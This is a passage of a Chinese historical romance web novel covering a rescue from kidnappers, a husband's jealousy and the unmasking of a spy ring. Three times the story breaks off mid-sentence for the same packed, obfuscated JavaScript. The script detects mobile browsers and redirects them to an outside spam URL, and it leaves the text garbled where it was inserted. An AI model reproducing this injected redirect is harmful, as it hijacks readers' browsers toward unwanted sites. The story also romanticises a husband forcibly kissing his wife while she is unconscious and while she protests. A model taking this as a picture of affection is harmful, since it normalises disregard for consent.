两人的身体在这极端狭窄的空间里不可避免地紧密相贴,每一次细微的移动都带来摩擦,彼此的体温透过薄薄的衣衫传递,呼吸在极近的距离里无声交错。 或许是颠簸和药物的作用,怀中的人儿忽地发出一声细微的嘤咛,无意识地动了动,脑袋本能地往他颈窝处蹭了蹭,似乎在寻找更舒适安稳的倚靠。 温热的气息细密地喷洒在他的皮肤上,带来一阵难以言喻的战栗。 郑淮序脚步顿住,几乎要窒息。他垂眸,看着她毫无防备、依赖蜷缩的模样,一种陌生的、混杂着保护欲和某种难以启齿的禁忌之感的情绪,悄然在他心底滋生。 为避开前方一处尖锐凸起,他不得不侧身,将她更紧地护在怀中。这一下,她的脸颊几乎完全埋入他肩颈。 肌肤相贴处传来异常的热度,她似乎在发低烧,手臂无力却固执地环上他的脖颈,声音细弱游丝,带着惊惶的颤音:“……墙高……怕……你接住我……” 这没头没脑的话让郑淮序蹙眉,只当她药物作用下噩梦缠身,低声安抚道:“别怕,没事了。” 他尝试将她环在自己颈上的手臂轻轻拉下,她却像是溺水者抓住浮木,反而抱得更紧,滚烫的脸颊贴着他微凉的皮肤,又含糊地喃喃:“冷……好冷……” 她体内药性开始反复发作,开始忽冷忽热。 郑淮序感受到怀中身躯的细微颤抖,不再试图挣脱她的缠绕,反而下意识将手臂收得更紧,试图用自己的体温驱散她周身的寒意。 他刻意避开思考这举动有多么不合礼数、多么逾越界限,只将全副心神专注于脚下危机四伏的路,和怀中这不容有失的重量。 然而,那萦绕在鼻尖的独特馨香,胸前传来的温热与不可思议的柔软触感,却如同最细腻坚韧的蛛网,无法忽视地缠绕住他所有的感官,丝丝缕缕,渗入心扉。 “什么人?!那边有动静!” 外面突然传来一声粗粝的厉喝,紧接着是杂乱的脚步声迅速朝这个方向逼近,显然是他们的踪迹被发现了。 郑淮序瞬间回神,眼神恢复冷厉,他毫不犹豫,抱着李妙仪猛地向通道出口冲去。 “在那里,别让他们跑了!” 杂乱的脚步声和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164855|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼喝声在身后紧追不舍,刚冲出货栈后门,进入荒草丛生的后院,便有五六名手持弯刀、面目凶狠的北戎蛮夷嘶吼着围堵上来, 郑淮序一手紧紧护着怀中的李妙仪,另一手已然抽出腰间软剑。剑光如匹练般展开,与匪徒激战在一起。 他武功虽高,但怀抱一人,行动处处受制,又要分神护她周全,顿时落了下风。 刀光剑影,生死须臾。他凭借着精妙绝伦的步法和狠辣凌厉的剑招勉力支撑,肩头、手臂仍不可避免地被锋利的弯刀划开了数道口子,温热的鲜血迅速浸湿了衣衫,传来火辣辣的刺痛。 一名匪徒瞅准他转身护住李妙仪的空档,眼中凶光毕露,狠戾一刀,带着撕裂风声,直劈向李妙仪毫无防备的后背。 郑淮序想也不想,甚至来不及挥剑格挡,猛地拧身,用自己的后背硬生生迎上了这一刀。 “呃!”剧痛传来,他闷哼一声,脸色瞬间苍白,但抱着李妙仪的手臂却纹丝未松,反而收得更紧。 眼看围上来的匪徒越来越多,呼喝声四起,郑淮序护着怀中之人,剑招已见凌乱,气息微喘,身上又添新伤,殷红的血迹在深色衣衫上洇开大片暗色,形势已是岌岌可危。 “放箭!” 千钧一发之际,一声冰冷威严的断喝划破夜空。 紧接着,破空之声骤响,数十支蓄势待发的利箭,从不同方向同时激射而出,精准地覆盖了那些正在围攻的北戎人。 “噗噗”的箭矢入肉声与惨叫声接连响起,瞬间便有七八人中箭倒地,阵型大乱。 郑淮序猛地抬头,只见废弃货栈那残缺的围墙之上、屋顶暗处,不知何时已站满了手持劲弩、黑衣玄甲的士兵,火光在他们冷硬的甲胄上跳跃,映出一张张肃杀的面孔。 而围墙缺口处,一人身着玄色劲装,身姿挺拔如松,面容冷峻如寒冰,正是得到消息后率兵疾驰而来的郑淮舟。 他目光如电,瞬间穿越混乱的战场,牢牢锁定了被郑淮序紧紧护在怀中、昏迷不醒的李妙仪。 郑淮舟带来的亲兵显然训练有素,配合默契。箭雨过后,手持刀盾的士兵已然如虎入羊群般杀入,迅速剿杀残余匪徒,控制各处要道,清剿负隅顽抗者。 战斗很快呈现一边倒的态势,并迅速接近尾声。 郑淮舟大步流星走到相拥的两人面前,他先快速而仔细地扫视过李妙仪全身,确认她除了昏迷并无明显外伤后,随即将目光落在那双牢牢环抱着她的、属于弟弟的手臂上,眼神深处翻涌着一种压抑的、极为复杂的审视。 郑淮序对上大哥的目光,心中一凛,下意识地想解释:“大哥,嫂嫂她中了软筋散,昏迷不醒,我……” 话未说完,郑淮舟已伸出手,动作带着不容置疑的力道,几乎是直接从郑淮序怀里将李妙仪“夺”了过去,打横抱起。 他的动作看似平稳,但那紧绷的下颌线,手臂上贲张的肌肉,都泄露了他此刻翻涌的情绪。 李妙仪在失去郑淮序怀抱的瞬间,无意识地蹙了蹙眉,唇间发出一声极轻的、不满似的呓语,似乎在寻找那个让她感到安心的热源,但最终只是更深地陷进郑淮舟的怀里。 郑淮舟低头,看着怀中依赖蜷缩的妻子,又抬眼看向脸色苍白的弟弟,沉声说了一句:“处理干净,回去再说。”说罢,抱着李妙仪,踏着满地狼藉与血迹离去,再未多看郑淮序一眼。 郑淮序独自站在原地,夜风陡然凛冽,吹拂着他染血破损的衣袍,带来刺骨的寒意。 怀中那抹温软和淡淡的香气还未散尽,肩背处那道伤口火辣辣地疼着,而心底深处掀起的惊涛骇浪,却比身上的任何伤痛都更加汹涌难平,无法止息。 7. 旧梦 夜色如墨,郑淮舟抱着昏迷的李妙仪潜入国公府时,未惊动他人,回到院落,也只唤了府医和侍女青鸾。 府医诊脉时,郑淮舟静立在一旁,直到确认她除了药力未消、略有低烧外,只需好生调养几日,他紧绷的肩线才松懈下来。 待府医开了安神补气的方子和外敷的伤药,青鸾便红着眼端了铜盆进来,正要上前伺候,却被郑淮舟抬手止住:“下去吧,这里我来。” 青鸾不敢多言,将水盆与布巾置于床边矮几,悄声退出去,轻轻掩上了门。 室内烛火噼啪作响,映照着郑淮舟晦暗不明的面容。 李妙仪苍白的小脸陷在锦被中,脆弱得仿佛瓷娃娃。 他以指尖轻拂开她颊边碎发,拧湿布巾,极尽轻柔地擦拭她沾染了尘土的脸颊与双手。随后,他解开她凌乱的外衫,当那几道刺目青紫的淤痕映入眼帘时,他眼底骤然翻涌起骇人的风暴。 郑淮舟强抑住心头杀意,继续为她擦拭,又取来活血化瘀膏,以指腹蘸取少许,在淤伤处极轻、极缓地推揉开来。 待一切妥帖,才为她换上洁净柔软的寝衣。 他将她仔细安置于被中,自己却并未离去。匆匆沐浴后,他掀被上榻,侧身将她连人带被揽入怀中。 怀中的身躯娇小得不可思议,陷在他臂弯里,仿佛一用力就会消融。皂角的清气混着药膏的苦味,萦绕在鼻尖。 忽然间,他想起今夜她曾在弟弟怀中,露出那样全心依赖的姿态,那些压抑的嫉妒与愤怒,顷刻如潮涌来,搂在她腰际的手臂无意识地收紧。 他低下头,细密而灼烫的吻依次落下:先是光洁的额际,带着近乎虔诚的珍惜;再是轻蹙的眉间,似要吻平其间不安;继而轻颤的眼睫,随他气息微微抖动,在眼睑下投出颤动的阴影。 吻沿鼻梁而下,最终,停驻在那两片微凉柔软的唇上。 起初只是轻柔的贴合,仿佛试探,亦似确认。可旋即他便不再满足,启开她毫无防备的齿关,探索那温暖湿润之地,肆无忌惮地攫取她的气息,唇齿交缠间,手掌不自觉抚上她后颈。 “嗯……”李妙仪似乎感到了不适,微弱地挣扎了一下,发出模糊的呜咽。 这一声却如火星坠入荒原,他的力道骤然加深,却又在察觉到她眉头轻蹙时放得轻柔。直至那淡白的唇瓣被他染作嫣红,宛如经雨海棠般秾丽湿润,他才陡然清醒。 望着她唇上的水光,还有那脸颊浮起的红晕,郑淮舟胸膛剧烈起伏。 一种前所未有的清晰认知击中了他,他在乎她,不止出于丈夫之责,更源于某种汹涌的、不容他人窥伺的占有。 这种认知让他既陌生又悸动。 她是他的妻,只能是他的。 窗外骤雨忽至,初时不过瓦上碎玉声,淅淅沥沥,似试探,又似低语。不久,风挟雨势横扫庭院,那株新植的照殿红瑟瑟颤摇,有瓣儿承不住,离了蒂,打着旋儿贴到青石板上,转瞬就被激流卷入沟渠。 夜半,雨声已成天河倒泻,琤琮不绝。闷雷自云深处碾过,震得窗纸簌簌惶惶。郑淮舟收拢手臂,将怀中人拥得更紧,下颌抵着她发顶,在每一次雷声中无声收拢怀抱。 直至雷声渐远,照殿红早已枝零叶败,残红满地,唯余梢头三两湿漉的蕊,犹自勉力擎着。 夜雨声里,二人终是相拥而眠。 次日,李妙仪意识尚未完全清醒,先觉身后暖意融融。 她大惊失色,顾不得浑身酸软,几乎是手脚并用地挣开那怀抱,猛地向里滚去,脊背“咚”地撞上内侧墙壁。 动静霎时惊醒了郑淮舟。 怀中空落,暖意消散,他不悦地蹙起眉,待看见她蜷缩在床角,那双总是清明疏离的杏眼里此刻盛满惊惶与戒备时,眸光倏然转沉。 “躲什么?” 李妙仪想说“请自重”,话抵舌尖,却一字也吐不出。只是将身上的锦被又裹紧了些,整个人往后缩,直到背脊紧紧贴住墙面。 郑淮舟长臂一伸,不容分说地攥住她手腕,天旋地转间,她被一股力量重重拽回原处,重新落入他气息笼罩的范围。 “郑淮舟,你放开我!”她又惊又怒,奋力挣扎。 “放开?”郑淮舟低笑一声,从前那句应允的“慢慢来”早已被抛到九霄云外,他另一只手锢住她的腰,将她牢牢固定在身前,迫使她抬头看他,“崔令言,你看清楚,我是谁?我是你夫君。” 他顿了一息,声线陡然沉下:“你知道当我发现你失踪,落入那些北戎蛮夷手中时,我有多怕吗?” 李妙仪挣动的腕子微微一滞,抬眼撞进他深不见底的眸中,那里面翻涌的情绪让她心头一悸。 “我恨不能将那些杂碎碎尸万段!”他的手臂收紧,勒得她几乎喘不过气,“可我更恨,昨夜第一个找到你,将你带离险境的人,是伯章,不是我!” 最后一句,几乎是咬着牙挤出来的,浸满了不甘。 李妙仪怔住了。昨夜的记忆碎片涌现,被掳、颠簸、冰冷……还有在昏暗通道里,那个紧紧抱着她,为她挡开所有危险,带给她无尽安全感的怀抱。 心绪不由得飘远,恍惚间又回到了多年前那个莺飞草长的午后。 那是她的及笄生辰,京中恰逢太后寿诞,特许请来了名动天下的“云间班”连演三日。她对《西厢》、《拜月》这类常见的才子佳人戏码兴致缺缺,唯独听闻云间班压轴的《红拂记》堪称一绝,讲述的便是奇女子红拂女慧眼识英雄,夜奔李靖的故事。 她心痒难耐,偏偏被困在学宫里上着枯燥的经义课。 暖阳透过雕窗,洒在她百无聊赖勾画戏文的宣纸上。她伏在窗边,望着墙外碧空,轻声抱怨:“听得人昏昏欲睡,若能似红拂女那般自在,才不枉此生!唉,此时若能翻墙去便好了。” 没曾想,向来最重规矩的郑淮序默然看她半晌,竟点了点头,低声应道:“好,我们走。” 学宫后墙不算高,可对她这身着繁裙的人而言亦非易事。 郑淮序利落翻上墙头,蹲身向她伸手。 日光在他身后流淌,为他挺拔身影镀上淡金。他向来淡泊的脸上浮着一层薄红,呼吸也较平日急促几分。 她仰面望去,心头莫名一动,将手放入他微湿的掌心。那手掌温暖有力,稳稳借她向上。就在她笨拙快要攀上墙头时,裙摆忽被勾住,脚下一滑,惊呼着朝下坠去。 郑淮序被她撞得踉跄一步,却用尽全力将她牢牢接住。 她得逞般从他怀中仰起脸,正想笑着打趣两句,却见他颊边、耳根、乃至脖颈都已染上霞色。他手臂僵硬如石,目光躲闪,竟不敢与她对视。 “你可伤着了?” “不曾。”她从他还里跳下,故作无事地拍拍裙裾,心底却因他这罕见的慌乱漾开一丝涟漪,“快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164856|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走快走,《红拂记》要开场了!” 她记得,他们挤在人头攒动的戏台下,当台上红拂女唱到“俺自有胸中龙豹,怕什么世上英雄”时,她激动得攥住了郑淮序的衣袖。 而他依旧站得笔直,目光却始终落在她熠熠生辉的侧脸上,每逢她为剧情低呼赞叹,他唇角便会几不可察地轻轻一扬。 散场后,他还在僻静的糖画摊前驻足,为她买了一支栩栩如生的凤凰糖画。 那是她吃过最甜、也最难忘的糖。 昨夜,在那昏暗危险的甬道里,那个怀抱所带来的熟悉安稳,让她仿佛又回到被稳稳接住的午后,回到那个因她一句任性话语便敢带她“离经叛道”的少年身边。所以她才那般下意识地、全然地倚靠。 原来昨夜护住她的人是郑淮序。 是那个在她最特别的日子里,给过她一场关于“自由”与“英雄”之梦的少年。 郑淮舟敏锐地捕捉到怀中人的失神,她那分明沉浸在回忆中的柔软情态,绝非因他而起。 怒火与妒火交织,他猛地捧起她的脸,迫使那双迷蒙眼眸映出自己身影,俯身含住那两片红唇。 “唔!”李妙仪彻底惊醒,双手抵在他胸膛,试图拉开距离。 这是她首次在完全清醒时与他如此亲密,他气息清冽而具侵略,如耐心的猎手,寸寸占据她的呼吸。 “放……开!”她含糊抗议,细软的声音马上又被郑淮舟堵回口中,那点微末力气于他而言,不过是蜉蝣撼树。 理智被搅得天翻地覆,原本推拒的手,不知何时已无力地蜷缩,紧紧攥住了他的前襟。她感到一阵缺氧般的晕眩,周身力气仿佛都被他抽走。 正当她神思昏茫之际,门外适时传来青鸾小心翼翼的禀报:“世子,二公子来了,正在书房等候,说是有要事相商。” 这声音如同惊雷,霎时划破室内旖旎而紧绷的沉寂。 郑淮舟缓缓抬起头,唇瓣与她分离时,牵出一缕银丝。他凝视着怀中人鬓发散乱、眼角蓄泪的模样,眼神复杂地闪了闪。 他抬手,用指腹略显粗粝地擦过她湿润的眼角,动作却与方才的强势不同,带着一丝难以察觉的滞涩。 李妙仪趁机推开他,拉紧凌乱的衣襟,以盈满水汽的眸子瞪视着他,还用手背狠狠擦过嘴唇。 郑淮舟心头那簇刚压下的火苗再度窜起,此刻只能强行按捺,他深吸一口气,平复翻涌的气血,抬手整了整衣袍。 目光却仍锁在她身上,看着她防备的姿态,胸口那股烦闷愈发强烈。 起身离榻前,他又忽地俯身,单手撑在她耳侧的床榻上,将她困于方寸之间,在她唇上重重一印:“待会儿再同你算账。” 直至房门合拢,李妙仪才脱力般瘫软下来,心跳如擂,唇瓣又肿又麻。 她抬手掩面,只觉天旋地转,几欲崩溃。 怎会如此!这般天崩地裂的局面谁堪承受!本公主不干了! 在床上呆坐片刻,李妙仪强令自己凝定心神。昨夜被北戎掳劫之事非同小可,她须得弄清来龙去脉,遂唤来青鸾梳洗更衣。 心绪纷乱如麻,她以脂粉稍掩痕迹,又特意拣了立领的衣裙。对镜自照时,看到颈侧一处淡淡的红痕,她手指一顿,随即用领子仔细掩好,镜中人的脸颊却不由自主地微微发热。 收拾妥帖后,她定神片刻,终是举步朝郑淮舟的书房走去。 8. 惩罚 书房内,郑淮舟与郑淮序相对而坐,上等龙井的清香在空气中氤氲,却冲不散那份凝滞的沉寂。 郑淮舟把玩着手中的青瓷茶盏,指腹漫不经心地摩挲着杯壁上的缠枝莲纹。郑淮序则坐得笔直,看着窗外庭院里一株摇曳的翠竹,侧脸线条绷得有些紧。 “吱呀——” 门被轻轻推开,李妙仪扶着门框,缓步走了进来。 郑淮序目光关切地落在她身上,从头到脚迅速打量了一遍:“嫂嫂,身子可好些了?” 李妙仪点点头,避开他过于直接的注视:“说起来,还要多谢二郎相救。” 至于二人在茶楼偶遇之事,想必不说,郑淮舟也知晓了。说罢,她径直走到郑淮舟身侧落座,两人之间隔着半臂距离。 就在她坐下的瞬间,郑淮序的视线不经意扫过她的面庞,倏然定住了。 微微侧身之际,立领滑动,隐约露出的一小片肌肤上,正遍布着刺目的淡红痕迹,而即便敷了脂粉,仍能窥见她的唇瓣有些许微肿。 那双素来温润平和的眸子,极快闪过一丝复杂的情绪,他迅速垂眼,浓密的睫毛剧烈颤抖了几下。 郑淮舟将弟弟刹那的失态尽收眼底,他忽地握住了李妙仪置于膝上的手,十指强硬地嵌入她的指缝,以一种完全占有的姿态紧紧扣住。 李妙仪下意识便要抽回,却被他更紧地包裹住,禁锢在他的掌心。 “既然人都齐了,伯章,你将昨夜后续查探到的情况,再说一遍吧。” “昨夜大哥带兵清剿了货栈,擒获七名活口,余者皆已伏诛。”郑淮序已恢复平日的沉稳持重,“初步审讯得知,这批北境人潜入盛京已有数月,那处废弃货栈是他们的一处临时据点。他们的目标,确实是大哥手中的边关布防图,意图挟持嫂嫂以作威胁。” 他顿了顿,继续道:“他们行事极为谨慎,每次传递消息都通过不同的渠道,且彼此不知晓全貌。货栈被端,其他据点必然已收到风声,此刻恐怕正在销毁证据或转移。” 李妙仪心中凛然,定了定神,回想起昨夜模糊的记忆碎片,“昨夜我虽昏迷,但中途有片刻模糊清醒,隐约听见他们提到永丰米行,称那里是老地方,货都暂时存放在那里。还说‘按老规矩,寅时三刻,南码头’。” 此言一出,兄弟二人神色俱是一凝。 “永丰米行?”郑淮序在脑海中搜寻相关信息,“城南确有一家永丰米行,开了有些年头,去岁京中米价波动时,他家还曾按平价售粮,在坊间有些好名声。” 他话锋一转,眼神锐利起来:“若真是据点,这般掩饰可谓高明,米行每日进出货物、人员繁杂,最适合隐藏行迹。且米粮沉重,运输车辆进出频繁,若夹带些什么,不会被轻易察觉。” 郑淮舟沉吟道:“寅时三刻,这个时辰,正是夜禁将解、早市未开之时,码头人迹稀少,却是漕运船只开始装卸的时辰。若借运米之名行传递之实,时机再好不过。” “伯章,你立即派人暗中盯住永丰米行,切记不要打草惊蛇。还有,查查京中与永丰米行有生意往来的其他商号,特别是那些看似毫不相干,却可能作为资金流转掩护的铺子。” “明白。”郑淮序郑重点头,“此外,若能确定米行真是据点,我们或可反其道而行之,暂不查封,顺藤摸瓜,揪出他们在京中的网络。这些北境余孽蛰伏数月,所图定然不小。” “但动作要快,货栈被端,他们已成惊弓之鸟。若判断米行已暴露,很可能断尾求生,我们就会失去这条线索。” 李妙仪听着兄弟二人抽丝剥茧的分析,只觉背后泛起一层凉意。 她原只以为自己不幸被卷入,如今看来,这背后竟是一张早已悄然铺开的暗网。 而她,恰巧成了被网住的那只雀鸟。 郑淮舟拍了拍她的手背,以示安抚,又重新看向弟弟:“伯章,昨夜多亏你及时找到令言,护她周全。这份恩情,大哥记下了。” 郑淮序起身,拱手长揖,姿态恭谨而疏离:“大哥言重,护卫家宅安宁,是伯章本分。” 他目光平静无波,仿佛方才刹那的惊涛只是幻影,“既嫂嫂无恙,线索已明,伯章先行告退。京兆尹与兵部处,还需协调搜查永丰米行事宜。” “去吧,小心行事。”郑淮舟颔首,目光却如影随形,直至那道挺拔却笼着孤寂的身影消失在门外。 书房内的紧绷空气似乎仍未散尽,李妙仪试着抽了抽手,郑淮舟却依旧没有松开的意思。 “随我来。”他不由分说,牵着她穿过回廊,来到相连的暖阁。 暖阁比书房小些,却更显温馨。临窗设着宽大的炕几,铺着厚实的锦垫,窗台上摆着一盆开得正好的兰花,幽幽吐着芬芳。 炕几上已摆好了几样清爽小菜和粥点:一碟水晶虾饺,一碟胭脂鹅脯,一碟翡翠烧卖,还有一盅冒着热气的鸡丝粥。 郑淮舟将她按在炕几一侧坐下,自己则在对面落座。 “昨夜受了惊吓,未曾好好进食。”他提起筷子,夹了一块胭脂鹅脯放到她面前的小碟里,“需得补补。” 李妙仪看着他理所当然的模样,心头的恼意窜了上来,“我没胃口,吃不下。” 郑淮舟却未发作,只扬声对外吩咐:“把灶上煨着的当归乌鸡汤端来。” 青鸾很快捧着一只青瓷炖盅进来,药膳香气随她的脚步弥漫开来,炖盅被小心搁在炕几中央,人又悄然退下。 他掀盖舀起一勺汤,仔细吹凉,送至她唇边:“府医特意嘱咐,这汤里加了安神补气的药材,必须喝。” 勺沿几乎触到她的下唇,李妙仪猛地别开脸:“我说了,不喝!” 郑淮舟凝视着她因怒气而格外明亮的眼眸,那里面跳动着鲜活的光彩,不再是以往那种隔着一层纱的、完美却虚假的恭顺。 看来,对待他这位小妻子,相敬如宾是没用的。 他放下汤匙,忽然起身,一步跨至她身前,单手揽住她的腰,稍一用力便将人带离座位,旋即自己坐下,将她稳稳安置在腿上,牢牢圈入怀中。 “郑淮舟!你放开!”李妙仪又惊又羞,奋力挣扎。 他手臂如铁箍,将她锁在胸前,另一只手重新端起那碗汤药,声音低缓,却裹着不容置疑的威胁,“是自己喝,还是我喂你?” 她气得脸颊绯红,手脚并用地推拒他坚硬的胸膛,属于“崔令言”的温婉仪态此刻被抛到九霄云外,露出内里属于安阳公主的骄纵本色:“我就不喝!你能怎样?” “我能怎样?”他笑着重复,目光落在她一张一合的唇上,倾身靠近,含了上去。 “唔!”李妙仪猝不及防,所有抗议被堵了回去。 这个吻带着惩罚的意味,更裹挟着毫不掩饰的占有欲。他含住她的下唇,不轻不重地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164857|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咬了一下,在她吃痛微启唇缝的瞬间,兵临城下。 她越是推拒挣扎,他的手臂就收得越紧,吻得也越发深入凶狠,仿佛要将她所有的抵抗,都从这个吻里彻底驱逐出去。 直至她因缺氧而软了身子,发出细微的呜咽,他才略微退开,唇瓣仍与她若即若离。 “看来,”他嗓音沙哑得厉害,拇指抚过她湿润的下唇,拭去一点溢出的津液,“你比较喜欢这种方式。” 汤匙再次递到她唇边,这次稳稳贴着:“喝,还是继续?” 李妙仪胸膛剧烈起伏,狠狠瞪他,恨不得撕碎他脸上那抹可恨的笃定。可唇上残留的灼热与微麻,分明在说:这男人强势起来,根本不讲道理。 数息之后,李妙仪败下阵来。 咬着下唇,极不甘心地就着他的手,快速咽下那勺汤。当归黄芪的微苦回甘划过喉咙,她满脸嫌恶,仿佛喝下去的是什么穿肠毒药。 郑淮舟眼底掠过一丝极淡的笑意,像是猎人终于找到了驯服猎物的窍门。他不再逼迫,只是一勺一勺,耐心地喂着。 而她,每咽下一口便狠狠剜他一眼,像只虚张声势的猫,终究没再激烈反抗。 汤尽碗空,他放下瓷碗,却未松手。 他调整姿势,让她坐得更妥帖,一手仍稳稳环着她的腰,另一只手却抬起来,指尖勾缠着她颊边一缕发丝,慢条斯理地替她别到耳后。 李妙仪抿着发苦的唇,心里把他翻来覆去骂了好几遍,同时又有一种莫名的颓丧席卷而来。在他面前,那些完美仪态和温婉伪装,似乎越来越难以维持。 见她眉宇未展,郑淮舟从果盘中拈起一枚蜜饯,捏住了她的下巴,迫使她微微张嘴,然后将那枚蜜饯送了进去。 指尖不可避免地触碰到她柔软的舌尖。 两人同时顿了一下。 他的指尖没有立刻撤出,反而极轻地按了一下,那触感湿润温热,带着蜜饯的甜腻。 李妙仪飞快地合上嘴,连蜜饯带他的指尖一起轻轻咬了一下,随即松开,扭过头去。 郑淮舟眸色陡然转深,捏着她下巴的手微微用力,将她脸转回来:“学坏了?” 李妙仪含着蜜饯含糊道:“是你太欺负人。” “这就叫欺负?”他低笑一声,将她整个人往上托了托,让她更贴近自己,温热的气息喷洒在她敏感的颈侧,“那往后,你怕是要重新认识‘欺负’二字了。” 李妙仪缩了缩脖子,方才的气势瞬间消散大半,只剩下一片酥麻从颈侧蔓延开来,半边身子都有些发软。 “你身子弱,需得好生调养些时日。”他低声说,方才的狎昵退去,语气里多了几分不容置疑的认真,“我给你挑了两个人,往后若要出府,便让他们跟着保护。” 李妙仪闷闷地“嗯”了一声,算是回应。 蜜饯的甜意在口中化开,渐渐压下了汤药的苦涩。 窗外日影微斜,暖阁内一片静谧。方才的剑拔弩张、唇齿交锋,仿佛都融化在了这个漫长而安静的拥抱里。 李妙仪听着耳畔沉稳有力的心跳,竟生出一丝昏昏欲睡的恍惚。那些恼怒、不甘、伪装与骄纵,此刻都像是被抽走了力气,只剩下一种疲惫的安宁。 郑淮舟看着她渐渐合上的眼帘与放松的眉宇,极轻地吻了吻她的发顶,收拢手臂,将这不情不愿却鲜活真实的“妻”,更密实地拥入怀中。 9. 风云 国公爷郑崇璟出将入相,乃大雍的元老重臣,门生故吏遍布朝野,其夫人卢氏,亦出身顶级士族,所育子女皆为人杰。 长子郑淮舟,任右金吾卫将军兼领军使,长年驻守北境;次子郑淮序,为兵部员外郎,精明干练,务实进取。 尚在成长期的三子郑淮礼,学识渊博,雅好文艺;四子郑淮信,对机械、营造颇感兴趣,擅长工造;幼女郑华琬,更是聪慧灵秀,通诗书、善音律,备受父兄宠爱。 看着这一大家子,李妙仪时常觉得唯有自己最是清闲,更加安然偷闲。 北戎细作渗透盛京一事,让郑淮舟、郑淮序忙得不可开交。依据李妙仪提供的线索,他们果然在永丰米行找到了北戎细作的重要据点,顺藤摸瓜,接连拔除数个暗桩,收获不小。 国公夫人心疼儿子,亲自熬了参汤,又做了几样家常菜,装进食盒,吩咐儿媳送到军营去,好让他们歇口气。 李妙仪提着食盒,乘马车来到城西的京畿戍卫营。此处气氛与外面截然不同,兵士披甲执锐,往来巡行,空气中混合着金属与尘土的气息。 引路的将士将她带至主帅营帐前,恭敬道:“少夫人请稍候,将军与员外郎正在校场旁的议事厅与几位大人商议要事。” 营帐内陈设简单,只有一张宽大案几、几把胡椅、一张行军榻,以及角落里的兵器架,案头堆着舆图和文书,墨迹尚新。 李妙仪走到兵器架前,上头的这柄长剑剑鞘古朴,鞘口处却沾着些未净的污渍,在一片整洁中显得格外突兀。 她自幼长在宫廷,见惯珍玩,却对兵器抱有特别的兴趣,且痴迷机关巧术与传奇话本,连带着对侠客宝剑也心生向往,只是深宫重重,难得亲近。 她走近,指尖轻轻抚过冰凉的剑鞘,见那污渍实在碍眼,犹豫片刻,她还是握住剑柄,缓缓将剑抽了出来。 寒光微漾,映亮她沉静的眉眼,剑刃不算绝世锋利,却自有一股沉凝的肃杀之气。 她取过案几上一块软布,蘸了点清水,开始沿着剑脊轻柔抹拭。 就在这时,帐帘被掀开了。 郑淮舟与郑淮序一前一后走进来,映入眼帘的,是李妙仪背对他们,正专心擦拭长剑的身影。 她身姿挺直,动作细致而稳当,侧脸在光影中显得格外沉静。那柄普通的制式长剑在她手中,竟不显得突兀,反而因这份专注,平添了几分内敛的锐气。 郑淮舟眼中掠过一抹惊艳,随即化作更深的疑虑。他这位大家闺秀出身、手无缚鸡之力的妻子,居然如此自然地执剑擦拭? 想想都觉得怪异。 李妙仪听到动静,蓦然回头,见是兄弟二人,迅速还剑入鞘,放回原处,解释道:“母亲担心你们饮食不当,特意让我送些汤菜来。” 郑淮舟目光在她脸上停留片刻,最终落在她微微蜷起的手指上,“有劳夫人,也多谢母亲惦记。” 他语气平静,听不出波澜,率先走到案几旁。 食盒打开,家常饭菜的香气稍稍冲淡了帐内紧绷的气氛,兄弟俩确实饿了,默默用饭。 李妙仪静坐一旁,感觉有些无趣,转溜的眼神落在了被郑淮舟随手放在案角的一个木盒上。 盒子约一尺见方,木质黝黑沉黯,表面毫无纹饰,却泛着历经岁月的油润光泽。盒口严丝合缝,不见锁孔,侧面隐约有几道极细的缝隙,构成某种规律的几何图案。 “那是……”李妙仪轻声问。 郑淮舟咽下食物,瞥了一眼木盒,回道:“从永丰米行密室暗格里找到的,质地奇特,坚固异常,试了许多方法都打不开,里面机括声复杂,怕是有暗器或自毁机关,没敢强拆。” 机关盒? 李妙仪眼睛微微一亮,她对机关术的钻研始于少时翻阅皇室秘藏典籍,后来偶得机缘,受过一位隐退巧匠的零星指点。 这爱好隐秘而持久,身边人只知她偶尔爱摆弄精巧玩意儿,不知其中深浅。 “能不能让我看看?”她试探着问。 郑淮舟动作一顿,眉头微蹙:“这东西危险,来历不明。” “正因危险,才要弄清里面到底有什么。”李妙仪迎上他的目光,声音轻而坚定,“我对机关术略知一二,或许可以试试。” 郑淮序放下碗筷,想起她刚才执剑的模样,沉默片刻,开口道:“大哥,这盒子我们和军中几位见多识广的参军琢磨了半天,都束手无策。既然嫂嫂有兴趣,不妨一试?我和大哥在这儿,纵有意外,护嫂嫂周全应当不难。” 郑淮舟看向弟弟,眼神深邃。郑淮序坦然回视,目光清澈,仿佛只是提出一个可行的建议。 最终,他略一点头,将木盒推到李妙仪面前:“小心些。” 